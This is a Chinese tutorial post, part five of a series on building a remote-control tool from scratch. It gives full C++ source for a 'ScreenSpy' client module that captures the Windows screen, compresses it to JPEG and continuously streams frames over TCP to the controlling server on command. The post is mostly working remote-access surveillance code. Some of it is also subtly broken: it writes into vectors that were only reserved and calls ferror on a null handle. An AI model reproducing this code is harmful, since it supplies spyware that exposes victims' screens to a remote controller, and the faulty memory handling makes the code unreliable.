从零开始做远控 第五篇 屏幕监控

来源:互联网 发布:企业网络搭建试题 编辑:程序博客网 时间:2024/06/03 06:33

如果你从没看过这系列教程请点击:从零开始做远控 简介篇

屏幕监控:

我们来到进阶课程了,我们这一节主要是讲客户端的,我们将会编写从客户端截取屏幕,然后用JEPG压缩它,最后发给服务端,形成一个动态画面。
1.首先我们要下载个:jpeg压缩库,然后把它放到ZeroClient的目录,最后在.pro文件路加入库文件:LIBS += $${PWD}\jpeg\libjpeg.lib
2.在.pro文件路加入库文件:LIBS += -lgdi32,来使用win32图形库

ScreenSpy类:
1.新建一个ScreenSpy类,主要是用来创建新线程,连接至服务端,然后向服务端实时发送自己的屏幕截图。
2.截图函数captureScreen()。
bool ScreenSpy::captureScreen(std::vector<unsigned char> &bmpData){    // 锁定函数,其他线程不能进来    EnterCriticalSection(&gCs);    HBITMAP hBitmap;    // 得到屏幕设备    HDC hScrDC = CreateDCA(_T("DISPLAY"),NULL,NULL,NULL);    if(!hScrDC) {        std::cout << "Failed to get screen device" << std::endl;        std::fflush(stdout);        // 解除函数锁定        LeaveCriticalSection(&gCs);        return false;    }    // 创建新的设备    HDC hRamDC = CreateCompatibleDC(hScrDC);    if(!hRamDC) {        std::cout << "Failed to create device" << std::endl;        std::fflush(stdout);        // 解除函数锁定        LeaveCriticalSection(&gCs);        return false;    }    // 设置图片大小    unsigned int iByte = 3;    unsigned int iWidth = GetSystemMetrics(SM_CXSCREEN);    unsigned int iHeigth = GetSystemMetrics(SM_CYSCREEN);    unsigned int iBmpSize = iWidth * iHeigth * iByte;    if(iWidth == 1366) {        iWidth = 1360;    }    // 创建位图    BITMAPINFOHEADER bmpInfoHeader;    BITMAPINFO bmpInfo;    void *p;    bmpInfoHeader.biSize = sizeof(BITMAPINFOHEADER);    bmpInfoHeader.biBitCount = 32;    bmpInfoHeader.biPlanes = 1;    bmpInfoHeader.biCompression = BI_RGB;    bmpInfoHeader.biWidth = iWidth;    bmpInfoHeader.biHeight = iHeigth;    bmpInfo.bmiHeader = bmpInfoHeader;    // 获取位图    hBitmap = CreateDIBSection(hScrDC,&bmpInfo,DIB_RGB_COLORS,&p,NULL,0);    if(!hBitmap) {        std::cout << "Failed to CreateDIBSection" << std::endl;        std::fflush(stdout);        // 解除函数锁定        LeaveCriticalSection(&gCs);        return false;    }    // 绑定设备与对象    HBITMAP hBitmapOld;    hBitmapOld = (HBITMAP)SelectObject(hRamDC,hBitmap);    // 把屏幕复制到新申请的设备上    StretchBlt(hRamDC,0,0,iWidth,iHeigth,hScrDC,0,0,iWidth,iHeigth,SRCCOPY);    // 复制图片到内存空间    bmpData.reserve(iBmpSize);    HDC hTmpDC = GetDC(NULL);    hBitmap = (HBITMAP)SelectObject(hRamDC,hBitmapOld);    bmpInfoHeader.biBitCount = 24;    int iError = GetDIBits(hTmpDC,hBitmap,0,iHeigth,bmpData.data(),(BITMAPINFO *)&bmpInfoHeader,DIB_RGB_COLORS);    if(!iError) {        std::cout << "Failed to GetDIBits" << std::endl;        std::fflush(stdout);        // 解除函数锁定        LeaveCriticalSection(&gCs);        return false;    }    // 释放设备与对象    DeleteDC(hScrDC);    DeleteDC(hRamDC);    DeleteObject(hBitmapOld);    DeleteDC(hTmpDC);    DeleteObject(hBitmap);    // 解除函数锁定    LeaveCriticalSection(&gCs);    return true;}


3.压缩函数convertToJpgData()。
bool ScreenSpy::convertToJpgData(const std::vector<unsigned char> &bmpData,                                 std::vector<unsigned char> &jpgData){    // 锁定函数,其他线程不能进来    EnterCriticalSection(&gCs);    // 设置图片大小    unsigned int iByte = 3;    unsigned int iWidth = GetSystemMetrics(SM_CXSCREEN);    unsigned int iHeigth = GetSystemMetrics(SM_CYSCREEN);    unsigned int iBmpSize = iWidth * iHeigth * iByte;    if(iWidth == 1366) {        iWidth = 1360;    }    //  由於bitmap和jpg的儲存方式是相反,所以要把他反過來    //  例如: rgb: 1 2 3  ->  9 8 7    //            4 5 6  ->  6 5 4    //            7 8 9  ->  3 2 1    const unsigned char *bmp = bmpData.data();    std::vector<unsigned char> convertedBmp;    convertedBmp.reserve(iBmpSize);    unsigned char *cBmp = (unsigned char*)convertedBmp.data();    for(unsigned int i = 0,j;i < iHeigth;i ++) {        for(j = 0;j < iWidth;j ++) {            cBmp[i * iWidth *  iByte + j * 3] = bmp[(iHeigth - i - 1) * iWidth * iByte + j * iByte + 2];            cBmp[i * iWidth *  iByte + j * 3 + 1] = bmp[(iHeigth - i - 1) * iWidth * iByte + j * iByte + 1];            cBmp[i * iWidth *  iByte + j * 3 + 2] = bmp[(iHeigth - i - 1) * iWidth * iByte + j * iByte];        }    }    // 设置jpg结构    struct jpeg_compress_struct jcs;    struct jpeg_error_mgr jem;    jcs.err = jpeg_std_error(&jem);    jpeg_create_compress(&jcs);    // 设置输出配置    jcs.image_height = iHeigth;    jcs.image_width = iWidth;    jcs.input_components = iByte;    jcs.in_color_space = JCS_RGB;    jpeg_set_defaults(&jcs);    // 设置压缩质量    const int quality = 30;     // 越大越好,越小越差,你可以自己设置    jpeg_set_quality(&jcs, quality, TRUE);    // 设置输出文件(临时文件来的,名字随便设置)    const std::string fileName= "zero_client_screen_capture.tmp";    FILE *fp = fopen(fileName.data(),"wb+");    if (!fp) {        std::cout << "Failed to create file " << fileName << " error:"                  << ferror(fp) <<std::endl;        std::fflush(stdout);        // 解除函数锁定        LeaveCriticalSection(&gCs);        return false;    }    jpeg_stdio_dest(&jcs,fp);    // 开始压缩    jpeg_start_compress(&jcs,TRUE);    JSAMPROW jr;    while(jcs.next_scanline < iHeigth) {        jr = &cBmp[jcs.next_scanline * iWidth * iByte];        jpeg_write_scanlines(&jcs,&jr,1);    }    // 释放    jpeg_finish_compress(&jcs);    jpeg_destroy_compress(&jcs);    fclose(fp);    // 读取压缩好的数据    FILE *fpIn = fopen(fileName.data(),"rb");    if(!fpIn) {        std::cout << "Failed to read file " << fileName << " error:"                  << ferror(fp) <<std::endl;        std::fflush(stdout);        // 解除函数锁定        LeaveCriticalSection(&gCs);        return false;    }    // 获取jpg文件大小    fseek(fpIn,0,SEEK_END);    size_t iLen = ftell(fpIn);    rewind(fpIn);    // 读取    jpgData.reserve(iLen);    fread(jpgData.data(), iLen , 1 ,fpIn);    // 释放    fclose(fpIn);    // 删除临时文件    DeleteFileA(fileName.data());    // 解除函数锁定    LeaveCriticalSection(&gCs);    return true;}


4.定义通讯协议
// 数据头
typedef struct {    unsigned int len;    // jpg文件大小} ScreenSpyHead;


代码:
ScreenSpy.h
/* * *  Author: sumkee911@gmail.com *  Date: 21-12-2016 *  Brief: 从客户端截取屏幕,然后用JEPG压缩它,最后发给服务端,形成一个动态画面。 * */#ifndef SCREENSPY_H#define SCREENSPY_H#include "tcpsocket.h"#include <windows.h>#include <iostream>#include <fstream>#include <vector>#include <tchar.h>// 加入jpeg压缩库头文件extern "C" {#include "jpeg/jpeglib.h"#include "jpeg/jmorecfg.h"#include "jpeg/jconfig.h"}class ScreenSpy{public:    ScreenSpy();    ~ScreenSpy();    // 屏幕处理函数    static bool captureScreen(std::vector<unsigned char> &bmpData);    static unsigned int convertToJpgData(const std::vector<unsigned char> &bmpData,                                 std::vector<unsigned char> &jpgData);    // 数据头    typedef struct {        unsigned int len;    // jpg文件大小    } ScreenSpyHeader;    // 这个类的入口函数,是从另一个线程开启。    static void startByNewThread(std::string domain, int port);    static DWORD WINAPI threadProc(LPVOID args);    // 连接到服务端指定的端口给它发送屏幕截图    static void startScreenSpy(std::string domain, int port);    static bool sendScreenData(TcpSocket *sock, std::vector<unsigned char> &jpg, unsigned int len);};#endif // SCREENSPY_H


ScreenSpy.cpp

#include "screenspy.h"// 互挤体,用来确保线程安全static CRITICAL_SECTION gCs;// 初始化类static ScreenSpy spy;ScreenSpy::ScreenSpy(){    // 初始化互挤体    InitializeCriticalSection(&gCs);}ScreenSpy::~ScreenSpy(){    // 删除互挤体    DeleteCriticalSection(&gCs);}bool ScreenSpy::captureScreen(std::vector<unsigned char> &bmpData){    // 锁定函数,其他线程不能进来    EnterCriticalSection(&gCs);    HBITMAP hBitmap;    // 得到屏幕设备    HDC hScrDC = CreateDCA(_T("DISPLAY"),NULL,NULL,NULL);    if(!hScrDC) {        std::cout << "Failed to get screen device" << std::endl;        std::fflush(stdout);        // 解除函数锁定        LeaveCriticalSection(&gCs);        return false;    }    // 创建新的设备    HDC hRamDC = CreateCompatibleDC(hScrDC);    if(!hRamDC) {        std::cout << "Failed to create device" << std::endl;        std::fflush(stdout);        // 解除函数锁定        LeaveCriticalSection(&gCs);        return false;    }    // 设置图片大小    unsigned int iByte = 3;    unsigned int iWidth = GetSystemMetrics(SM_CXSCREEN);    unsigned int iHeigth = GetSystemMetrics(SM_CYSCREEN);    unsigned int iBmpSize = iWidth * iHeigth * iByte;    if(iWidth == 1366) {        iWidth = 1360;    }    // 创建位图    BITMAPINFOHEADER bmpInfoHeader;    BITMAPINFO bmpInfo;    void *p;    bmpInfoHeader.biSize = sizeof(BITMAPINFOHEADER);    bmpInfoHeader.biBitCount = 32;    bmpInfoHeader.biPlanes = 1;    bmpInfoHeader.biCompression = BI_RGB;    bmpInfoHeader.biWidth = iWidth;    bmpInfoHeader.biHeight = iHeigth;    bmpInfo.bmiHeader = bmpInfoHeader;    // 获取位图    hBitmap = CreateDIBSection(hScrDC,&bmpInfo,DIB_RGB_COLORS,&p,NULL,0);    if(!hBitmap) {        std::cout << "Failed to CreateDIBSection" << std::endl;        std::fflush(stdout);        // 解除函数锁定        LeaveCriticalSection(&gCs);        return false;    }    // 绑定设备与对象    HBITMAP hBitmapOld;    hBitmapOld = (HBITMAP)SelectObject(hRamDC,hBitmap);    // 把屏幕复制到新申请的设备上    StretchBlt(hRamDC,0,0,iWidth,iHeigth,hScrDC,0,0,iWidth,iHeigth,SRCCOPY);    // 复制图片到内存空间    bmpData.reserve(iBmpSize);    HDC hTmpDC = GetDC(NULL);    hBitmap = (HBITMAP)SelectObject(hRamDC,hBitmapOld);    bmpInfoHeader.biBitCount = 24;    int iError = GetDIBits(hTmpDC,hBitmap,0,iHeigth,bmpData.data(),(BITMAPINFO *)&bmpInfoHeader,DIB_RGB_COLORS);    if(!iError) {        std::cout << "Failed to GetDIBits" << std::endl;        std::fflush(stdout);        // 解除函数锁定        LeaveCriticalSection(&gCs);        return false;    }    // 释放设备与对象    DeleteDC(hScrDC);    DeleteDC(hRamDC);    DeleteObject(hBitmapOld);    DeleteDC(hTmpDC);    DeleteObject(hBitmap);    // 解除函数锁定    LeaveCriticalSection(&gCs);    return true;}unsigned int  ScreenSpy::convertToJpgData(const std::vector<unsigned char> &bmpData,                                 std::vector<unsigned char> &jpgData){    // 锁定函数,其他线程不能进来    EnterCriticalSection(&gCs);    // 设置图片大小    unsigned int iByte = 3;    unsigned int iWidth = GetSystemMetrics(SM_CXSCREEN);    unsigned int iHeigth = GetSystemMetrics(SM_CYSCREEN);    unsigned int iBmpSize = iWidth * iHeigth * iByte;    if(iWidth == 1366) {        iWidth = 1360;    }    //  由於bitmap和jpg的儲存方式是相反,所以要把他反過來    //  例如: rgb: 1 2 3  ->  9 8 7    //            4 5 6  ->  6 5 4    //            7 8 9  ->  3 2 1    const unsigned char *bmp = bmpData.data();    std::vector<unsigned char> convertedBmp;    convertedBmp.reserve(iBmpSize);    unsigned char *cBmp = (unsigned char*)convertedBmp.data();    for(unsigned int i = 0,j;i < iHeigth;i ++) {        for(j = 0;j < iWidth;j ++) {            cBmp[i * iWidth *  iByte + j * 3] = bmp[(iHeigth - i - 1) * iWidth * iByte + j * iByte + 2];            cBmp[i * iWidth *  iByte + j * 3 + 1] = bmp[(iHeigth - i - 1) * iWidth * iByte + j * iByte + 1];            cBmp[i * iWidth *  iByte + j * 3 + 2] = bmp[(iHeigth - i - 1) * iWidth * iByte + j * iByte];        }    }    // 设置jpg结构    struct jpeg_compress_struct jcs;    struct jpeg_error_mgr jem;    jcs.err = jpeg_std_error(&jem);    jpeg_create_compress(&jcs);    // 设置输出配置    jcs.image_height = iHeigth;    jcs.image_width = iWidth;    jcs.input_components = iByte;    jcs.in_color_space = JCS_RGB;    jpeg_set_defaults(&jcs);    // 设置压缩质量    const int quality = 30;     // 越大越好,越小越差,你可以自己设置    jpeg_set_quality(&jcs, quality, TRUE);    // 设置输出文件(临时文件来的,名字随便设置)    const std::string fileName= "zero_client_screen_capture.tmp";    FILE *fp = fopen(fileName.data(),"wb+");    if (!fp) {        std::cout << "Failed to create file " << fileName << " error:"                  << ferror(fp) <<std::endl;        std::fflush(stdout);        // 解除函数锁定        LeaveCriticalSection(&gCs);        return 0;    }    jpeg_stdio_dest(&jcs,fp);    // 开始压缩    jpeg_start_compress(&jcs,TRUE);    JSAMPROW jr;    while(jcs.next_scanline < iHeigth) {        jr = &cBmp[jcs.next_scanline * iWidth * iByte];        jpeg_write_scanlines(&jcs,&jr,1);    }    // 释放    jpeg_finish_compress(&jcs);    jpeg_destroy_compress(&jcs);    fclose(fp);    // 读取压缩好的数据    FILE *fpIn = fopen(fileName.data(),"rb+");    if(!fpIn) {        std::cout << "Failed to read file " << fileName << " error:"                  << ferror(fp) <<std::endl;        std::fflush(stdout);        // 解除函数锁定        LeaveCriticalSection(&gCs);        return 0;    }    // 获取jpg文件大小    fseek(fpIn,0,SEEK_END);    size_t iLen = ftell(fpIn);    rewind(fpIn);    // 读取    jpgData.reserve(iLen);    fread((unsigned char*)jpgData.data() , 1 , iLen ,fpIn);    // 释放    fclose(fpIn);    // 删除临时文件    DeleteFileA(fileName.data());    // 解除函数锁定    LeaveCriticalSection(&gCs);    return iLen;}void ScreenSpy::startByNewThread(std::string domain, int port){    // 将域名和端口数据转换成一个字符指针类型    char *args = new char[MAX_PATH+sizeof(int)];    domain.reserve(MAX_PATH);    memcpy(args,domain.data(), MAX_PATH);    memcpy(args+MAX_PATH,(char*)&port, sizeof(int));    // 创建新线程    HANDLE h = CreateThread(NULL,0,ScreenSpy::threadProc,(LPVOID)args,0,NULL);    if (!h) {        std::cout << "Failed to create new thread" << std::endl;        std::fflush(stdout);    }}DWORD WINAPI ScreenSpy::threadProc(LPVOID args){    char domain[MAX_PATH];    memcpy(domain, args, MAX_PATH);    int port = *((int*)((char*)args+MAX_PATH));    startScreenSpy(domain, port);    // 释放参数    delete (char *)args;    return 0;}void ScreenSpy::startScreenSpy(std::string domain, int port){    // 创建socket并连接至服务端    TcpSocket sock;    if (!sock.connectTo(domain, port)) {        std::cout << "Failed to connect screen spy server " <<                     domain << ":" << port << std::endl;        std::fflush(stdout);        return;    }    // 开始监控消息    std::cout << "Started screen spy" << std::endl;    std::fflush(stdout);    // 开始传送数据    const int fps = 5;  // 每秒帧度,你能自己设置    do {        Sleep(1000/fps);        // 截取屏幕,再把它转换成jpg格式        std::vector<unsigned char> bmp, jpg;        if (!captureScreen(bmp)) {            sock.dissconnect();            break;        }        unsigned int len = 0;        if ((len = convertToJpgData(bmp, jpg)) == 0) {            sock.dissconnect();            break;        }        // 发送数据        if (!sendScreenData(&sock, jpg, len)) {            break;        }    } while (1);    // 完成    std::cout << "Finished screen spy" << std::endl;    std::fflush(stdout);}bool ScreenSpy::sendScreenData(TcpSocket *sock, std::vector<unsigned char> &jpg,unsigned int len){    // 发送头包    ScreenSpyHeader header;    header.len = len;    if (!sock->sendData((char*)&header, sizeof(ScreenSpyHeader))) {        return false;    }    // 发送jpg数据包,包大小每次最好少于1000,我这里定义800    const unsigned int paketLen = 800;    char *data = (char *)jpg.data();    unsigned int pos = 0;    while (pos < len) {        int sendSize = (pos+paketLen) > len ? len-pos : paketLen;        if (!sock->sendData(data+pos, sendSize)) {            return false;        }        pos += sendSize;    }    return true;}


5.最后在ZeroClient类里修改doScreenSpy函数来响应屏幕监控命令
void ZeroClient::doScreenSpy(std::map<std::string, std::string> &args){    // 开始监控屏幕    ScreenSpy::startByNewThread(mSock.mIp, atoi(args["PORT"].data()));}


本节完整代码:
对上节作出的修改:
1.把ZeroClient项目里TcpSocket类里的私有变量mIp,mPort移动到了公有变量


下载完整代码
1 0
原创粉丝点击